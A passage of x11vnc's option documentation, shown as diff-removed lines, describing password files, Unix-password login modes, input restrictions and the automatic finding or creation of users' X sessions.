- and IPv6 hostname strings (e.g. ipv6.google.com.)
- Use LibVNCServer -listen option for the IPv4 interface.
-
--nolookup Do not use gethostbyname() or gethostbyaddr() to look up
- host names or IP numbers. Use this if name resolution
- is incorrectly set up and leads to long pauses as name
- lookups time out, etc.
-
--input string Fine tuning of allowed user input. If "string" does
- not contain a comma "," the tuning applies only to
- normal clients. Otherwise the part before "," is
- for normal clients and the part after for view-only
- clients. "K" is for Keystroke input, "M" for
- Mouse-motion input, "B" for Button-click input, "C"
- is for Clipboard input, and "F" is for File transfer
- (ultravnc only). Their presence in the string enables
- that type of input. E.g. "-input M" means normal
- users can only move the mouse and "-input KMBCF,M"
- lets normal users do anything and enables view-only
- users to move the mouse. This option is ignored when
- a global -viewonly is in effect (all input is discarded
- in that case).
-
--grabkbd When VNC viewers are connected, attempt to the grab
- the keyboard so a (non-malicious) user sitting at the
- physical display is not able to enter keystrokes.
- This method uses XGrabKeyboard(3X11) and so it is
- not secure and does not rule out the person at the
- physical display injecting keystrokes by flooding the
- server with them, grabbing the keyboard himself, etc.
- Some degree of cooperation from the person at the
- display is assumed. This is intended for remote
- help-desk or educational usage modes.
-
- Note: on some recent (12/2010) X servers and/or
- desktops, -grabkbd no longer works: it prevents the
- window manager from resizing windows and similar things.
- Try -ungrabboth below (might not work.)
-
--grabptr As -grabkbd, but for the mouse pointer using
- XGrabPointer(3X11). Unfortunately due to the way the X
- server works, the mouse can still be moved around by the
- user at the physical display, but he will not be able to
- change window focus with it. Also some window managers
- that call XGrabServer(3X11) for resizes, etc, will
- act on the local user's input. Again, some degree of
- cooperation from the person at the display is assumed.
-
--ungrabboth Whenever there is any input (either keyboard or
- pointer), ungrab *both* the keyboard and the pointer
- while injecting the synthetic input. This is to allow
- window managers, etc. a chance to grab.
-
--grabalways Apply both -grabkbd and -grabptr even when no VNC
- viewers are connected. If you only want one of them,
- use the -R remote control to turn the other back on,
- e.g. -R nograbptr.
-
--viewpasswd string Supply a 2nd password for view-only logins. The -passwd
- (full-access) password must also be supplied.
-
--passwdfile filename Specify the LibVNCServer password via the first line
- of the file "filename" (instead of via -passwd on
- the command line where others might see it via ps(1)).
-
- See the descriptions below for how to supply multiple
- passwords, view-only passwords, to specify external
- programs for the authentication, and other features.
-
- If the filename is prefixed with "rm:" it will be
- removed after being read. Perhaps this is useful in
- limiting the readability of the file. In general, the
- password file should not be readable by untrusted users
- (BTW: neither should the VNC -rfbauth file: it is NOT
- encrypted, only obscured with a fixed key).
-
- If the filename is prefixed with "read:" it will
- periodically be checked for changes and reread. It is
- guaranteed to be reread just when a new client connects
- so that the latest passwords will be used.
-
- If "filename" is prefixed with "cmd:" then the
- string after the ":" is run as an external command:
- the output of the command will be interpreted as if it
- were read from a password file (see below). If the
- command does not exit with 0, then x11vnc terminates
- immediately. To specify more than 1000 passwords this
- way set X11VNC_MAX_PASSWDS before starting x11vnc.
- The environment variables are set as in -accept.
-
- Note that due to the VNC protocol only the first 8
- characters of a password are used (DES key).
-
- If "filename" is prefixed with "custom:" then a
- custom password checker is supplied as an external
- command following the ":". The command will be run
- when a client authenticates. If the command exits with
- 0 the client is accepted, otherwise it is rejected.
- The environment variables are set as in -accept.
-
- The standard input to the custom command will be a
- decimal digit "len" followed by a newline. "len"
- specifies the challenge size and is usually 16 (the
- VNC spec). Then follows len bytes which is the random
- challenge string that was sent to the client. This is
- then followed by len more bytes holding the client's
- response (i.e. the challenge string encrypted via DES
- with the user password in the standard situation).
-
- The "custom:" scheme can be useful to implement
- dynamic passwords or to implement methods where longer
- passwords and/or different encryption algorithms
- are used. The latter will require customizing the VNC
- client as well. One could create an MD5SUM based scheme
- for example.
-
- File format for -passwdfile:
-
- If multiple non-blank lines exist in the file they are
- all taken as valid passwords. Blank lines are ignored.
- Password lines may be "commented out" (ignored) if
- they begin with the character "#" or the line contains
- the string "__SKIP__". Lines may be annotated by use
- of the "__COMM__" string: from it to the end of the
- line is ignored. An empty password may be specified
- via the "__EMPTY__" string on a line by itself (note
- your viewer might not accept empty passwords).
-
- If the string "__BEGIN_VIEWONLY__" appears on a
- line by itself, the remaining passwords are used for
- viewonly access. For compatibility, as a special case
- if the file contains only two password lines the 2nd
- one is automatically taken as the viewonly password.
- Otherwise the "__BEGIN_VIEWONLY__" token must be
- used to have viewonly passwords. (tip: make the 3rd
- and last line be "__BEGIN_VIEWONLY__" to have 2
- full-access passwords)
-
--showrfbauth filename Print to the screen the obscured VNC password kept in
- the rfbauth file "filename" and then exit.
-
--unixpw [list] Use Unix username and password authentication. x11vnc
- will use the su(1) program to verify the user's
- password. [list] is an optional comma separated list
- of allowed Unix usernames. If the [list] string begins
- with the character "!" then the entire list is taken
- as an exclude list. See below for per-user options
- that can be applied.
-
- A familiar "login:" and "Password:" dialog is
- presented to the user on a black screen inside the
- vncviewer. The connection is dropped if the user fails
- to supply the correct password in 3 tries or does not
- send one before a 45 second timeout. Existing clients
- are view-only during this period.
-
- If the first character received is "Escape" then the
- unix username will not be displayed after "login:"
- as it is typed. This could be of use for VNC viewers
- that automatically type the username and password.
-
- Since the detailed behavior of su(1) can vary from
- OS to OS and for local configurations, test the mode
- before deployment to make sure it is working properly.
- x11vnc will attempt to be conservative and reject a
- login if anything abnormal occurs.
-
- One case to note: FreeBSD and the other BSD's by
- default it is impossible for the user running x11vnc to
- validate his *own* password via su(1) (commenting out
- the pam_self.so entry in /etc/pam.d/su eliminates this
- behavior). So the x11vnc login will always *FAIL* for
- this case (even when the correct password is supplied).
-
- A possible workaround for this on *BSD would be to
- start x11vnc as root with the "-users +nobody" option
- to immediately switch to user nobody where the su'ing
- will proceed normally.
-
- Another source of potential problems are PAM modules
- that prompt for extra info, e.g. password aging modules.
- These logins will fail as well even when the correct
- password is supplied.
-
- **IMPORTANT**: to prevent the Unix password being sent
- in *clear text* over the network, one of two schemes
- will be enforced: 1) the -ssl builtin SSL mode, or 2)
- require both -localhost and -stunnel be enabled.
-
- Method 1) ensures the traffic is encrypted between
- viewer and server. A PEM file will be required, see the
- discussion under -ssl below (under some circumstances
- a temporary one can be automatically generated).
-
- Method 2) requires the viewer connection to appear
- to come from the same machine x11vnc is running on
- (e.g. from a ssh -L port redirection). And that the
- -stunnel SSL mode be used for encryption over the
- network. (see the description of -stunnel below).
-
- Note: as a convenience, if you ssh(1) in and start
- x11vnc it will check if the environment variable
- SSH_CONNECTION is set and appears reasonable. If it
- does, then the -ssl or -stunnel requirement will be
- dropped since it is assumed you are using ssh for the
- encrypted tunnelling. -localhost is still enforced.
- Use -ssl or -stunnel to force SSL usage even if
- SSH_CONNECTION is set.
-
- To override the above restrictions you can set
- environment variables before starting x11vnc:
-
- Set UNIXPW_DISABLE_SSL=1 to disable requiring either
- -ssl or -stunnel (as under SSH_CONNECTION.) Evidently
- you will be using a different method to encrypt the
- data between the vncviewer and x11vnc: perhaps ssh(1)
- or an IPSEC VPN. -localhost is still enforced (however,
- see the next paragraph.)
-
- Set UNIXPW_DISABLE_LOCALHOST=1 to disable the -localhost
- requirement in -unixpw modes. One should never do this
- (i.e. allow the Unix passwords to be sniffed on the
- network.) This also disables the localhost requirement
- for reverse connections (see below.)
-
- Note that use of -localhost with ssh(1) (and no -unixpw)
- is roughly the same as requiring a Unix user login
- (since a Unix password or the user's public key
- authentication is used by sshd on the machine where
- x11vnc runs and only local connections from that machine
- are accepted).
-
- Regarding reverse connections (e.g. -R connect:host
- and -connect host), when the -localhost constraint is
- in effect then reverse connections can only be used
- to connect to the same machine x11vnc is running on
- (default port 5500). Please use a ssh or stunnel port
- redirection to the viewer machine to tunnel the reverse
- connection over an encrypted channel.
-
- In -inetd mode the Method 1) will be enforced (not
- Method 2). With -ssl in effect reverse connections
- are disabled. If you override this via env. var, be
- sure to also use encryption from the viewer to inetd.
- Tip: you can also have your own stunnel spawn x11vnc
- in -inetd mode (thereby bypassing inetd). See the FAQ
- for details.
-
- The user names in the comma separated [list] may have
- per-user options after a ":", e.g. "fred:opts"
- where "opts" is a "+" separated list of
- "viewonly", "fullaccess", "input=XXXX", or
- "deny", e.g. "karl,wally:viewonly,boss:input=M".
- For "input=" it is the K,M,B,C described under -input.
-
- If an item in the list is "*" that means those
- options apply to all users. It ALSO implies all users
- are allowed to log in after supplying a valid password.
- Use "deny" to explicitly deny some users if you use
- "*" to set a global option. If [list] begins with the
- "!" character then "*" is ignored for checking if
- the user is allowed, but the option values associated
- with it do apply as normal.
-
- There are also some utilities for checking passwords
- if [list] starts with the "%" character. See the
- quick_pw() function for more details. Description:
- "%-" or "%stdin" means read one line from stdin.
- "%env" means it is in $UNIXPW env var. A leading
- "%/" or "%." means read the first line from the
- filename that follows after the % character. % by
- itself means prompt for the username and password.
- Otherwise: %user:pass E.g. -unixpw %fred:swordfish
- For the other cases user:pass is read from the indicated
- source. If the password is correct 'Y user' is printed
- and the program exit code is 0. If the password is
- incorrect it prints 'N user' and the exit code is 1.
- If there is some other error the exit code is 2.
- This feature enables x11vnc to be a general unix user
- password checking tool; it could be used from scripts
- or other programs. These % password checks also apply
- to the -unixpw_nis and -unixpw_cmd options.
-
- For the % password check, if the env. var. UNIXPW_CMD
- is set to a command then it is run as the user (assuming
- the password is correct.) The output of the command is
- not printed, the program or script must manage that by
- some other means. The exit code of x11vnc will depend
- on the exit code of the command that is run.
-
- Use -nounixpw to disable unixpw mode if it was enabled
- earlier in the cmd line (e.g. -svc mode)
-
--unixpw_nis [list] As -unixpw above, however do not use su(1) but rather
- use the traditional getpwnam(3) + crypt(3) method to
- verify passwords. All of the above -unixpw options and
- constraints apply.
-
- This mode requires that the encrypted passwords be
- readable. Encrypted passwords stored in /etc/shadow
- will be inaccessible unless x11vnc is run as root.
-
- This is called "NIS" mode simply because in most
- NIS setups user encrypted passwords are accessible
- (e.g. "ypcat passwd") by an ordinary user and so that
- user can authenticate ANY user.
-
- NIS is not required for this mode to work (only that
- getpwnam(3) return the encrypted password is required),
- but it is unlikely it will work (as an ordinary user)
- for most modern environments unless NIS is available.
- On the other hand, when x11vnc is run as root it will
- be able to to access /etc/shadow even if NIS is not
- available (note running as root is often done when
- running x11vnc from inetd and xdm/gdm/kdm).
-
- Looked at another way, if you do not want to use the
- su(1) method provided by -unixpw (i.e. su_verify()), you
- can run x11vnc as root and use -unixpw_nis. Any users
- with passwords in /etc/shadow can then be authenticated.
-
- In -unixpw_nis mode, under no circumstances is x11vnc's
- user password verifying function based on su called
- (i.e. the function su_verify() that runs /bin/su
- in a pseudoterminal to verify passwords.) However,
- if -unixpw_nis is used in conjunction with the -find
- and -create -display WAIT:... modes then, if x11vnc is
- running as root, /bin/su may be called externally to
- run the find or create commands.
-
--unixpw_cmd cmd As -unixpw above, however do not use su(1) but rather
- run the externally supplied command "cmd". The first
- line of its stdin will be the username and the second
- line the received password. If the command exits
- with status 0 (success) the VNC user will be accepted.
- It will be rejected for any other return status.
-
- Dynamic passwords and non-unix passwords, e.g. LDAP,
- can be implemented this way by providing your own custom
- helper program. Note that the remote viewer is given 3
- tries to enter the correct password, and so the program
- may be called in a row that many (or more) times.
-
- If a list of allowed users is needed to limit who can
- log in, use -unixpw [list] in addition to this option.
-
- In FINDDISPLAY and FINDCREATEDISPLAY modes the "cmd"
- will also be run with the RFB_UNIXPW_CMD_RUN env. var.
- non-empty and set to the corresponding display
- find/create command. The first two lines of input are
- the username and passwd as in the normal case described
- above. To support FINDDISPLAY and FINDCREATEDISPLAY,
- "cmd" should run the requested command as the user
- (and most likely refusing to run it if the password is
- not correct.) Here is an example script (note it has
- a hardwired bogus password "abc"!)
-
- #!/bin/sh
- # Example x11vnc -unixpw_cmd script.
- # Read the first two lines of stdin (user and passwd)
- read user
- read pass
-
- debug=0
- if [ $debug = 1 ]; then
- echo "user: $user" 1>&2
- echo "pass: $pass" 1>&2
- env | egrep -i 'rfb|vnc' 1>&2
- fi
-
- # Check if the password is valid.
- # (A real example would use ldap lookup, etc!)
- if [ "X$pass" != "Xabc" ]; then
- exit 1 # incorrect password
- fi
-
- if [ "X$RFB_UNIXPW_CMD_RUN" = "X" ]; then
- exit 0 # correct password
- else
- # Run the requested command (finddisplay)
- if [ $debug = 1 ]; then
- echo "run: $RFB_UNIXPW_CMD_RUN" 1>&2
- fi
- exec /bin/su - "$user" -c "$RFB_UNIXPW_CMD_RUN"
- fi
-
- In -unixpw_cmd mode, under no circumstances is x11vnc's
- user password verifying function based on su called
- (i.e. the function su_verify() that runs /bin/su in a
- pseudoterminal to verify passwords.) It is up to the
- supplied unixpw_cmd to do user switching if desired
- and if it has the permissions to do so.
-
--find Find the user's display using FINDDISPLAY. This
- is an alias for "-display WAIT:cmd=FINDDISPLAY".
-
- Note: if a -display occurs later on the command line
- it will override the -find setting.
-
- For this and the next few options see -display WAIT:...
- below for all of the details.
-
--finddpy Run the FINDDISPLAY program, print out the found
- display (if any) and exit. Output is like: DISPLAY=:0.0
- DISPLAY=:0.0,XPID=12345 or DISPLAY=:0.0,VT=7. XPID is
- the process ID of the found X server. VT is the Linux
- virtual terminal of the X server.
--listdpy Have the FINDDISPLAY program list all of your displays
- (i.e. all the X displays on the local machine that you
- have access rights to). x11vnc then exits.
-
--findauth [disp] Apply the -find/-finddpy heuristics to try to guess
- the XAUTHORITY file for DISPLAY 'disp'. If 'disp'
- is not supplied, then the value in the -display on
- the cmdline is used; failing that $DISPLAY is used;
- and failing that ":0" is used. x11vnc then exits.
-
- If nothing is printed out, that means no XAUTHORITY was
- found for 'disp'; i.e. failure. If "XAUTHORITY="
- is printed out, that means use the default (i.e. do
- not set XAUTHORITY). If "XAUTHORITY=/path/to/file"
- is printed out, then use that file.
-
- XDM/GDM/KDM: if you are running x11vnc as root and want
- to find the XAUTHORITY before anyone has logged into an
- X session yet, use: x11vnc -env FD_XDM=1 -findauth ...
- (This will also find the XAUTHORITY if a user is already
- logged into the X session.) When running as root,
- FD_XDM=1 will be tried if the initial -findauth fails.
-
--create First try to find the user's display using FINDDISPLAY,
- if that doesn't succeed create an X session via the
- FINDCREATEDISPLAY method. This is an alias for
- "-display WAIT:cmd=FINDCREATEDISPLAY-Xvfb".
-
- Note: if a -display occurs later on the command line
- it will override the -create setting.
-
- SSH NOTE: for both -find and -create you can (should!)
- add the "-localhost" option to force SSH tunnel access.
-
--xdummy As in -create, except Xdummy instead of Xvfb.
--xvnc As in -create, except Xvnc instead of Xvfb.
--xvnc_redirect As in -create, except Xvnc.redirect instead of Xvfb.
--xdummy_xvfb Sets WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb
-
--create_xsrv str Sets WAIT:cmd=FINDCREATEDISPLAY-<str> Can be on cmdline
- after anything that sets WAIT:.. and other things
- (e.g. -svc, -xdmsvc) to adjust the X server list.
- Example: -svc ... -create_xsrv Xdummy,X
-
--svc Terminal services mode based on SSL access. Alias for
- -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb -unixpw -users
- unixpw= -ssl SAVE Also "-service".
-
- Note: if a -display, -unixpw, -users, or -ssl occurs
- later on the command line it will override the -svc
- setting.
-
--svc_xdummy As -svc except Xdummy instead of Xvfb.
--svc_xvnc As -svc except Xvnc instead of Xvfb.
--svc_xdummy_xvfb As -svc with Xdummy,Xvfb.
-
--xdmsvc Display manager Terminal services mode based on SSL.
- Alias for -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp
- -unixpw -users unixpw= -ssl SAVE Also "-xdm_service".
-
- Note: if a -display, -unixpw, -users, or -ssl occurs
- later on the command line it will override the -xdmsvc
- setting.
-
- To create a session a user will have to first log in
- to the -unixpw dialog and then log in again to the
- XDM/GDM/KDM prompt. Subsequent re-connections will
- only require the -unixpw password. See the discussion
- under -display WAIT:... for more details about XDM,
- etc configuration.
-
- Remember to enable XDMCP in the xdm-config, gdm.conf,
- or kdmrc configuration file. See -display WAIT: for
- more info.
-
--sshxdmsvc Display manager Terminal services mode based on SSH.
- Alias for -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp
- -localhost.
-
- The -localhost option constrains connections to come
- in via a SSH tunnel (which will require a login).
- To create a session a user will also have to log into
- the XDM GDM KDM prompt. Subsequent re-connections will
- only only require the SSH login. See the discussion
- under -display WAIT:... for more details about XDM,
- etc configuration.
-
- Remember to enable XDMCP in the xdm-config, gdm.conf,
- or kdmrc configuration file. See -display WAIT: for
- more info.
-
--unixpw_system_greeter Present a "Press 'Escape' for System Greeter" option
- to the connecting VNC client in combined -unixpw
- and xdmcp FINDCREATEDISPLAY modes (e.g. -xdmsvc).
-
- Normally in a -unixpw mode the VNC client must
- supply a valid username and password to gain access.
- However, if -unixpw_system_greeter is supplied AND
- the FINDCREATEDISPLAY command matches 'xdmcp', then
- the user has the option to press Escape and then get a
- XDM/GDM/KDM login/greeter panel instead. They will then
- supply a username and password directly to the greeter.
-
- Otherwise, in xdmcp FINDCREATEDISPLAY mode the user
- must supply his username and password TWICE. First to
- the initial unixpw login dialog, and second to the
- subsequent XDM/GDM/KDM greeter. Note that if the user
- re-connects and supplies his username and password in
- the unixpw dialog the xdmcp greeter is skipped and
- he is connected directly to his existing X session.
- So the -unixpw_system_greeter option avoids the extra
- password at X session creation time.
-
- Example: x11vnc -xdmsvc -unixpw_system_greeter
- See -unixpw and -display WAIT:... for more info.
-
- The special options after a colon at the end of the
- username (e.g. user:solid) described under -display
- WAIT: are also applied in this mode if they are typed
- in before the user hits Escape. The username is ignored
- but the colon options are not.
-
- The default message is 2 lines in a small font, set
- the env. var. X11VNC_SYSTEM_GREETER1=true for a 1 line
- message in a larger font.
-
- If the user pressed Escape the FINDCREATEDISPLAY command
- will be run with the env. var. X11VNC_XDM_ONLY=1.
-
- Remember to enable XDMCP in the xdm-config, gdm.conf,
- or kdmrc configuration file. See -display WAIT: for
- more info.
-
--redirect port As in FINDCREATEDISPLAY-Xvnc.redirect mode except
- redirect immediately (i.e. without X session finding
- or creation) to a VNC server listening on port. You
- can also supply host:port to redirect to a different
- machine.
-
- If 0 <= port < 200 it is taken as a VNC display (5900 is
- added to get the actual port), if port < 0 then -port
- is used.
-
- Probably the only reason to use the -redirect option
- is in conjunction with SSL support, e.g. -ssl SAVE.
- This provides an easy way to add SSL encryption to a VNC
- server that does not support SSL (e.g. Xvnc or vnc.so)
- In fact, the protocol does not even need to be VNC,
- and so "-rfbport port1 -ssl SAVE -redirect host:port2"
- can act as a replacement for stunnel(1).
-
- This mode only allows one redirected connection.
- The -forever option does not apply. Use -inetd or
- -loop for persistent service.
-
--display_WAIT :... A special usage mode for the normal -display option.
- Useful with -unixpw, but can be used independently
- of it. If the display string begins with WAIT: then
- x11vnc waits until a VNC client connects before opening
- the X display (or -rawfb device).
-
- This could be useful for delaying opening the display
- for certain usage modes (say if x11vnc is started at
- boot time and no X server is running or users logged
- in yet).
-
- If the string is, e.g. WAIT:0.0 or WAIT:1, i.e. "WAIT"
- in front of a normal X display, then that indicated
- display is used.
-
- One can also insert a geometry between colons, e.g.
- WAIT:1280x1024:... to set the size of the display the
- VNC client first attaches to since some VNC viewers
- will not automatically adjust to a new framebuffer size.
-
- A more interesting case is like this:
-
- WAIT:cmd=/usr/local/bin/find_display
-
- in which case the command after "cmd=" is run to
- dynamically work out the DISPLAY and optionally the
- XAUTHORITY data. The first line of the command output
- must be of the form DISPLAY=<xdisplay>. On Linux
- if the virtual terminal is known append ",VT=n" to
- this string and the chvt(1) program will also be run.
- Any remaining output is taken as XAUTHORITY data.
- It can be either of the form XAUTHORITY=<file> or raw
- xauthority data for the display. For example;
-
- xauth extract - $DISPLAY"
-
- NOTE: As specified in the previous paragraph, you can
- supply your own WAIT:cmd=... program or script, BUT
- there are two very useful *BUILT-IN* ones: FINDDISPLAY
- (alias -find above) and FINDCREATEDISPLAY (alias -create
- above.) Most people use these instead of creating
- their own script. Read the following (especially the
- BUILT-IN modes sections) to see how to configure these
- two useful builtin -display WAIT: modes.
-
- In the case of -unixpw (and -unixpw_nis only if x11vnc
- is running as root), then the cmd= command is run
- as the user who just authenticated via the login and
- password prompt.
-
- In the case of -unixpw_cmd, the commands will also be
- run as the logged-in user, as long as the user-supplied
- helper program supports RFB_UNIXPW_CMD_RUN (see the
- -unixpw_cmd option.)
-
- Also in the case of -unixpw, the user logging in can
- place a colon at the end of her username and supply
- a few options: scale=, scale_cursor= (or sc=), solid
- (or so), id=, clear_mods (or cm), clear_keys (or
- ck), clear_all (or ca), repeat, speeds= (or sp=),
- readtimeout= (or rd=), viewonly (or vo), nodisplay=
- (or nd=), rotate= (or ro=), or noncache (or nc),
- all separated by commas if there is more than one.
- After the user logs in successfully, these options will
- be applied to the VNC screen. For example,
-
- login: fred:scale=3/4,sc=1,repeat
- Password: ...
-
- login: runge:sp=modem,rd=120,solid
-
- for convenience m/n implies scale= e.g. fred:3/4 If you
- type and enter your password incorrectly, to retrieve
- your long "login:" line press the Up arrow once
- (before typing anything else).
-
- Most of these colon options only apply to the builtin
- FINDDISPLAY and FINDCREATEDISPLAY modes, but note
- that they are passed to the extrenal command in the
- environment as well and so could be used.
-
- In the login panel, press F1 to get a list of the
- available options that you can add after the username.
-
- Another option is "geom=WxH" or "geom=WxHxD" (or
- ge=). This only has an effect in FINDCREATEDISPLAY
- mode when a virtual X server such as Xvfb is going
- to be created. It sets the width and height of
- the new display, and optionally the color depth as
- well.
-
- You can also supply "gnome", "kde", "twm",
- "fvwm", "mwm", "dtwm", "wmaker", "xfce",
- "lxde", "enlightenment", "Xsession", or
- "failsafe" (same as "xterm") to have the created
- display use that mode for the user session.
-
- Specify "tag=..." to set the unique FD_TAG desktop
- session tag described below. Note: this option will
- be ignored if the FD_TAG env. var. is already set or
- if the viewer-side supplied value is not completely
- composed of alphanumeric or '_' or '-' characters.
-
- User preferences file: Instead of having the user type
- in geom=WxH,... etc. every time he logs in to find
- or create his X session, if you set FD_USERPREFS to
- a string that does not contain the "/" character,
- then the user's home directory is prepended to that
- string and if the file exists its first line is read
- and appended to any options he supplied at the login:
- prompt. For example -env FD_USERPREFS=.x11vnc_create
- and the user put "geom=1600x1200" in his
- ~/.x11vnc_create file.
-
- To disable the option setting set the environment
- variable X11VNC_NO_UNIXPW_OPTS=1 before starting x11vnc.
- To set any other options, the user can use the gui
- (x11vnc -gui connect) or the remote control method
- (x11vnc -R opt:val) during his VNC session.
-
- So we see the combination of -display WAIT:cmd=... and
- -unixpw allows automatic pairing of an unix
- authenticated VNC user with his desktop. This could
- be very useful on SunRays and also any system where
- multiple users share a given machine. The user does
- not need to remember special ports or passwords set up
- for his desktop and VNC.
-
- A nice way to use WAIT:cmd=... is out of inetd(8)
- (it automatically forks a new x11vnc for each user).
- You can have the x11vnc inetd spawned process run as,
- say, root or nobody. When run as root (for either inetd
- or display manager), you can also supply the option
- "-users unixpw=" to have the x11vnc process switch to
- the user as well. Note: there will be a 2nd SSL helper
- process that will not switch, but it is only encoding
- and decoding the encrypted stream at that point.
-
- BUILT-IN modes:
-
- -- Automatic Finding of User X Sessions --
-
- As a special case, WAIT:cmd=FINDDISPLAY will run a
- script that works on most Unixes to determine a user's
- DISPLAY variable and xauthority data (see who(1)).
-
- NOTE: The option "-find" is an alias for this mode.
-
- To have this default script printed to stdout (e.g. for
- customization) run with WAIT:cmd=FINDDISPLAY-print To
- have the script run to print what display it would find
- use "-finddpy" or WAIT:cmd=FINDDISPLAY-run
-
- The standard script runs xdpyinfo(1) run on potential
- displays. If your X server(s) have a login greeter
- that exclusively grabs the Xserver, then xdpyinfo
- blocks forever and this mode will not work. See
- www.karlrunge.com/x11vnc/faq.html#faq-display-manager
- for how to disable this for dtgreet on Solaris and
- possibly for other greeters.
-
- In -find/cmd=FINDDISPLAY mode, if you set FD_XDM=1,
- e.g. 'x11vnc -env FD_XDM=1 -find ...' and x11vnc is
- running as root (e.g. inetd) then it will try to find
- the XAUTHORITY file of a running XDM/GDM/KDM login
- greeter (i.e. no user has logged into an X session yet.)
-
- As another special case, WAIT:cmd=HTTPONCE will allow
- x11vnc to service one http request and then exit.
- This is usually done in -inetd mode to run on, say,
- port 5800 and allow the Java vncviewer to be downloaded
- by client web browsers. For example:
-
- 5815 stream tcp nowait root /usr/sbin/tcpd /.../x11vnc
-\
- -inetd -q -http_ssl -prog /.../x11vnc \
- -display WAIT:cmd=HTTPONCE
-
- Where /.../x11vnc is the full path to x11vnc.
- It is used in the Apache SSL-portal example (see FAQ).
-
- In this mode you can set X11VNC_SKIP_DISPLAY to a
- comma separated list of displays (e.g. ":0,:1") to
- ignore in the finding process. The ":" is optional.
- Ranges n-m e.g. 0-20 can also be supplied. This string
- can also be set by the connecting user via "nd="
- using "+" instead of "," If "nd=all" or you set
- X11VNC_SKIP_DISPLAY=all then all display finding fails
- as if you set X11VNC_FINDDISPLAY_ALWAYS_FAILS=1 (below.)
-
- On some systems lsof(1) can be very slow. Set the
- env. var. FIND_DISPLAY_NO_LSOF=1 to skip using lsof to
- try to find the Linux VT the X server is running on.
- set FIND_DISPLAY_NO_VT_FIND=1 to avoid looking at all.
-
- -- Automatic Creation of User X Sessions --
-
- An interesting option is WAIT:cmd=FINDCREATEDISPLAY
- that is like FINDDISPLAY in that is uses the same method
- to find an existing display. However, if it does not
- find one it will try to *start* up an X server session
- for the user. This is the only time x11vnc tries to
- actually start up an X server.
-
- NOTE: The option "-create" is an alias for this mode.
-
- It will start looking for an open display number at :20
- Override via X11VNC_CREATE_STARTING_DISPLAY_NUMBER=n
- By default 80 X displays are allowed (i.e. going to :99)
- Override via X11VNC_CREATE_MAX_DISPLAYS=n
-
- For its heuristics, the create display script sets
- LC_ALL=C so that command output is uniform. By default
- it will try to restore LC_ALL right before starting the
- user session. However, if you don't mind it keeping
- LC_ALL=C set the env. var.: X11VNC_CREATE_LC_ALL_C_OK=1
-
- By default FINDCREATEDISPLAY will try Xvfb and then
- Xdummy:
-
- The Xdummy wrapper is part of the x11vnc source code
- (x11vnc/misc/Xdummy) It should be available in PATH
- and have run "Xdummy -install" once to create the
- shared library. Xdummy only works on Linux. As of
- 12/2009 it no longer needs to be run as root, and the
- default is to not run as root. In some circumstances
- permissions may require running it as root, in these
- cases specify FD_XDUMMY_RUN_AS_ROOT=1, this is the same
- as supplying -root to the Xdummy cmdline.
-
- Xvfb is available on most platforms and does not
- require root.
-
- An advantage of Xdummy over Xvfb is that Xdummy supports
- RANDR dynamic screen resizing.
-
- When x11vnc exits (i.e. user disconnects) the X
- server session stays running in the background.
- The FINDDISPLAY will find it directly next time.
- The user must exit the X session in the usual way for
- it to terminate (or kill the X server process if all
- else fails).
-
- To troubleshoot the FINDCREATEDISPLAY mechanism,
- set the following env. var. to an output log file,
- e.g -env CREATE_DISPLAY_OUTPUT=/tmp/mydebug.txt
-
- So this is a somewhat odd mode for x11vnc in that it
- will start up and poll virtual X servers! This can
- be used from, say, inetd(8) to provide a means of
- definitely getting a desktop (either real or virtual)
- on the machine. E.g. a desktop service:
-
- 5900 stream tcp nowait root /usr/sbin/tcpd /.../x11vnc
- -inetd -q -http -ssl SAVE -unixpw -users unixpw=\
- -passwd secret -prog /.../x11vnc \
- -display WAIT:cmd=FINDCREATEDISPLAY
-
- Where /.../x11vnc is the full path to x11vnc.
-
- See the -svc/-service option alias above.
-
- If for some reason you do not want x11vnc to ever
- try to find an existing display set the env. var
- X11VNC_FINDDISPLAY_ALWAYS_FAILS=1 (also -env ...)
- This is the same as setting X11VNC_SKIP_DISPLAY=all or
- supplying "nd=all" after "username:"
-
- Use WAIT:cmd=FINDCREATEDISPLAY-print to print out the
- script that is used for this.
-
- You can specify the preferred X server order via e.g.,
- WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb,X and/or leave
- out ones you do not want. The the case "X" means try
- to start up a real, hardware X server using xinit(1)
- or startx(1). If there is already an X server running
- the X case may only work on Linux (see startx(1)).
-
- "Xvnc" will start up a VNC X server (real-
- or tight-vnc, e.g. use if Xvfb is not available).
- "Xsrv" will start up the server program in the
- variable "FD_XSRV" if it is non-empty. You can make
- this be a wrapper script if you like (it must handle :N,
- -geometry, and -depth and other X server options).
-
- You can set the environment variable FD_GEOM (or
- X11VNC_CREATE_GEOM) to WxH or WxHxD to set the width
- and height and optionally the color depth of the
- created display. You can also set FD_SESS to be the
- session (short name of the windowmanager: kde, gnome,
- twm, failsafe, etc.). FD_OPTS contains extra options
- to pass to the X server. You can also set FD_PROG to
- be the full path to the session/windowmanager program.
-
- More FD tricks: FD_CUPS=port or FD_CUPS=host:port
- will set the cups printing environment. Similarly for
- FD_ESD=port or FD_ESD=host:port for esddsp sound
- redirection. Set FD_EXTRA to a command to be run a
- few seconds after the X server starts up. Set FD_TAG
- to be a unique name for the session, it is set as an
- X property, that makes FINDDISPLAY only find sessions
- with that tag value.
-
- Set FD_XDMCP_IF to the network interface that the
- display manager is running on; default is 'localhost'
- but you may need to set it to '::1' on some IPv6 only
- systems or misconfigured display managers.
-
- If you want the FINDCREATEDISPLAY session to contact an
- XDMCP login manager (xdm/gdm/kdm) on the same machine,
- then use "Xvfb.xdmcp" instead of "Xvfb", etc.
- The user will have to supply his username and password
- one more time (but he gets to select his desktop type
- so that can be useful). For this to work, you will
- need to enable localhost XDMCP (udp port 177) for the
- display manager. This seems to be:
-
- for gdm in gdm.conf: Enable=true in section [xdmcp]
- for kdm in kdmrc: Enable=true in section [Xdmcp]
- for xdm in xdm-config: DisplayManager.requestPort: 177
-
- See the shorthand options above "-svc", "-xdmsvc"
- and "-sshxdmsvc" that specify the above options for
- some useful cases.
-
- If you set the env. var WAITBG=1 x11vnc will go into
- the background once listening in wait mode.
-
- Another special mode is FINDCREATEDISPLAY-Xvnc.redirect,
- (or FINDDISPLAY-Xvnc.redirect). In this case it will
- start up Xvnc as above if needed, but instead of
- polling it in its normal way, it simply does a socket
